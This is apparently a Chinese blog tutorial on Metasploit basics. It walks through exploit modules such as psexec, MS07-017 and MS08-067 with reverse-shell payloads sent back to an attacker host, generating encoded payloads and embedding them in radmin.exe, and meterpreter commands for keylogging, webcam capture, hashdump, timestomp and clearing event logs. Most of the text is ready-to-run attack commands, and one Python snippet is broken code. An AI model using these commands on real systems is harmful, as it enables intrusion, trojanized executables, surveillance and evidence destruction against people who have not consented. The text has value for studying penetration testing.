【kali】Mestasploit——基本使用2、Exploit模块、playload、metepreter

Exploit模块

1. Active exploit

攻击者主动连接受害者
payload发给受害者执行

psexec


use exploit/windows/smb/psexec


# 基于smb协议
# 需要目标机的权限
# 利用psexec模块
# 在132上执行该模块的payload后将shell反弹给161kali的4444端口

set RHOST 192.168.98.131
set SMBUser grb
set SMBPass grb
set payload windows/shell/reverse_tcp

# 设置攻击机IP
set lhost 192.168.98.161

show options
# 在132上执行该模块的payload后将shell反弹给161kali的4444端口


exploit

sessions -i 1 # 进入shell

在这里插入图片描述

2. Passive Exploits

攻击者等待受害者来触发连接,反弹到攻击者
payload在攻击者,等待受害者触发

# winXP sp2
# 打开XP的防火墙
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /
set SRVHOST 0.0.0.0
set PAYLOAD windows/shell/reverse_tcp
set EXITFUNC thread
set LHOST 192.168.98.161
set LPORT 4444
exploit

payload

1. 用法

msf > search ms08-067
msf > use payload/windows/shell/bind_tcp
msf payload(windows/shell/bind_tcp) > generate  #获得shellcode
msf payload(windows/shell/bind_tcp) > generate -h
    Usage: generate [options]
    Generates a payload.
    OPTIONS:
        -E        强制编码。
        -b <opt>  要避免的字符列表:'\ x00 \ xff'
        -e <opt>  要使用的编码器模块的名称。
        -f <opt>  输出文件名(否则为stdout)
        -h        帮助横幅。
        -i <opt>  编码迭代的次数。
        -k        保持模板可执行的功能
        -o <opt>  以VAR = VAL格式逗号分隔的选项列表。
        -p <opt>  输出平台
        -s <opt>  NOP sled length.
        -t <opt>  输出格式: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
        -x <opt>  要使用的可执行模板

msf payload(windows/shell/bind_tcp) > generate

2. 自动绕过坏字符

msf payload(windows/shell/bind_tcp) > generate -b '\x00'
msf payload(windows/shell/bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'

3. 手动指定编码模块

msf payload(windows/shell/bind_tcp) > show encoders

4. 注入文件

msf payload(windows/shell/bind_tcp) > generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe

5. NOP

no-operation / Next Operation (无任何操作)

EIP 返回存储 NOP sled 的任意地址时将递增,最终导致 shellcode 执行
增加一行 EOP

msf payload(windows/shell/bind_tcp) > generate -s 14

metepreter

1. 简介

  • 高级、动态、可扩展的 payload

基于 metepreter 上下文利用更多漏洞发起攻击
后渗透测试阶段一站式操作界面

  • 完全基于内存的 DLL 注入式 payload (不写硬盘)

注入合法系统进程并建立 stager
基于 stager 上传和预加载 dll 进行扩展模块 TLS/1.0 通信隧道
利用 TLS
隧道进一步加载后续扩展模块(避免网络取证)

  • 服务端使用 c 语言编写

  • 客户端提供基于 ruby 的全特性 API(支持任何语言)

2.使用

root@kali:~# cat metepreter.rb 
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOST 192.168.
set LHOST 192.168.
run

核心命令

meterpreter > help

核心命令
=============

    命令                     描述
    -------                   -----------
    ?                         帮助菜单
    background                背景当前会话
    bgkill                    杀死一个背景meterpreter脚本
    bglist                    列出运行后台脚本
    bgrun                     执行一个meterpreter脚本作为后台线程
    channel                   显示信息或控制活动频道
    close                     关闭频道
    disable_unicode_encoding  禁用unicode字符串的编码
    enable_unicode_encoding   启用unicode字符串的编码
    exit                      终止meterpreter会话
    get_timeouts              获取当前会话超时值
    guid                      获取会话GUID
    help                      帮助菜单
    info                      显示有关Post模块的信息
    irb                       进入irb脚本模式
    load                      加载一个或多个meterpreter扩展
    machine_id                获取连接到会话的计算机的MSF ID
    migrate                   将服务器迁移到另一个进程
    pivot                     管理数据透视监听器
    quit                      终止meterpreter会话
    read                      从频道读取数据
    resource                  运行存储在文件中的命令
    run                       执行meterpreter脚本或Post模块
    sessions                  快速切换到另一个会话
    set_timeouts              设置当前会话超时值
    sleep                     Force Meterpreter安静,然后重新建立会话。
    transport                 更改当前的传输机制
    use                       不推荐使用“加载”别名
    uuid                      获取当前会话的UUID
    write                     将数据写入通道

文件系统命令

命令          描述
-------       -----------
cat           将文件的内容读取到屏幕上
cd            更改目录
checksum      检索文件的校验和
cp            将源复制到目标
dir           列表文件(ls的别名)
download      下载文件或目录
edit          编辑一个文件
getlwd        打印本地工作目录
getwd         打印工作目录
lcd           更改本地工作目录
lls           列出本地文件
lpwd          打印本地工作目录
ls            列出文件
mkdir         建立目录
mv            将源移到目标
pwd           打印工作目录
rm            删除指定的文件
rmdir         删除目录
search        搜索文件
show_mount    列出所有安装点/逻辑驱动器
upload        上传文件或目录

网络命令

命令          描述
-------       -----------
arp           显示主机ARP缓存
getproxy      显示当前的代理配置
ifconfig      显示界面
ipconfig      显示界面
netstat       显示网络连接
portfwd       将本地端口转发到远程服务
resolve       解析目标上的一组主机名
route         查看和修改路由表

系统命令

Command       Description
-------       -----------
clearev       清除事件日志
drop_token    放弃任何活动的模拟令牌。
execute       执行一个命令
getenv        获取一个或多个环境变量值
getpid        获取当前的进程标识符
getprivs      尝试启用当前进程可用的所有权限
getsid        获取运行服务器的用户的SID
getuid        获取服务器正在运行的用户
kill          终止一个过程
localtime     显示目标系统的本地日期和时间
pgrep         按名称过滤进程
pkill         按名称终止进程
ps            列出运行的进程
reboot        重新启动远程计算机
reg           修改远程注册表并与之交互
rev2self      在远程机器上调用RevertToSelf()
shell         放入系统命令外壳
shutdown      关闭远程计算机
steal_token   尝试从目标进程中盗取模拟令牌
suspend       暂停或恢复进程列表
sysinfo       获取有关远程系统的信息,例如OS

用户界面命令

   命令          描述
    -------        -----------
    enumdesktops   列出所有可访问的桌面和窗口工作站
    getdesktop     获取当前meterpreter桌面
    idletime       返回远程用户闲置的秒数
    keyscan_dump   转储按键缓冲区
    keyscan_start  开始捕捉击键
    keyscan_stop   停止捕获击键
    screenshot     获取交互式桌面的屏幕截图
    setdesktop     更改meterpreters当前桌面
    uictl          控制一些用户界面组件

Webcam 命令

命令          描述
-------        -----------
record_mic     从默认麦克风录制音频X秒
webcam_chat    开始视频聊天
webcam_list    列出网络摄像头
webcam_snap    从指定的摄像头拍摄快照
webcam_stream  从指定的摄像头播放视频流

Elevate Commands

命令          描述
-------       -----------
getsystem     尝试将您的特权提升为本地系统的特权。

Priv: 密码数据库命令

命令          描述
-------       -----------
hashdump      转储SAM数据库的内容

Priv: Timestomp 命令

命令          描述
-------       -----------
timestomp     操纵文件MACE属性

Meterpreter python 扩展

  • 2015 年11月份,来自社区贡献

  • 无需运行环境,在客户端运行原生 python 代码

  • 使用:需要先load

meterpreter > load python
meterpreter > python_execute "print ('asdasdas')"
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd



root@kali:~# cat find2.py 
import os
for root,dirs,files in os.walk(c://*):
    for file in files:
        if file.endwith(".ini" ) and file.startwith("win"):
            print(os.path.john(root,file))
python_import -f find.py

msfcli (界面

  • 2015 年6月已经被取消
  • 由 msfconsole -x 取代
  • 编写脚本时便于引用
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.10.10.147; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.10.131; set LPORT 5555; set target 34; exploit"

猜你喜欢

转载自blog.csdn.net/grb819/article/details/120960508